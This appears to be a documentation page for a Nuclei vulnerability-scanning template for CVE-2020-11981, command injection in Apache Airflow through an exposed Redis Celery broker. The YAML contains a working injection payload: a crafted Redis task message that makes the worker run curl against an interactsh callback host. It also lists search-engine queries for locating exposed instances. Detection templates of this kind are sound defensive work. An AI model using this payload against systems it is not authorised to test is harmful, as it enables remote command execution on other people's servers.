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Apache Airflow <=1.10.10 - Command Injection

ID: CVE-2020-11981

Severity: critical

Author: pussycat0x

Tags: cve,cve2020,network,redis,unauth,apache,airflow,vulhub,intrusive,tcp

Description

Section titled “Description”

An issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.

YAML Source

Section titled “YAML Source”
id: CVE-2020-11981


info:
  name: Apache Airflow <=1.10.10 - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    An issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
  remediation: Upgrade apache-airflow to version 1.10.11 or higher.
  reference:
    - https://github.com/apache/airflow/pull/9178
    - https://github.com/vulhub/vulhub/tree/master/airflow/CVE-2020-11981
    - https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
    - https://github.com/t0m4too/t0m4to
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11981
    cwe-id: CWE-78
    epss-score: 0.93315
    epss-percentile: 0.99068
    cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: airflow
    shodan-query:
      - product:"redis"
      - http.title:"airflow - dags" || http.html:"apache airflow"
      - http.title:"sign in - airflow"
    fofa-query:
      - apache airflow
      - title="airflow - dags" || http.html:"apache airflow"
      - title="sign in - airflow"
    google-query:
      - intitle:"airflow - dags" || http.html:"apache airflow"
      - intitle:"sign in - airflow"
  tags: cve,cve2020,network,redis,unauth,apache,airflow,vulhub,intrusive,tcp
variables:
  data: "*3\r


    $5\r


    LPUSH\r


    $7\r


    default\r


    $936\r


    {\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \""
  encode1: '[[["curl", "http://'
  encode2: '"]], {}, {"chain": null, "chord": null, "errbacks": null, "callbacks": null}]'
  end: '"}'
tcp:
  - inputs:
      - data: "{{data+base64(encode1+'{{interactsh-url}}'+encode2)+concat(end+ '\r


          ')}}"
        read: 1024
    host:
      - "{{Hostname}}"
      - "{{Host}}:6379"


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"


      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
# digest: 4b0a00483046022100965cc533781bbbac803402b9af68a4187904ca937f56cb7898542e60943b76c90221009f5562beaa71f2b36bba2cd6311f5d73be8af8b45659aead791529031db485e2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "network/cves/2020/CVE-2020-11981.yaml"

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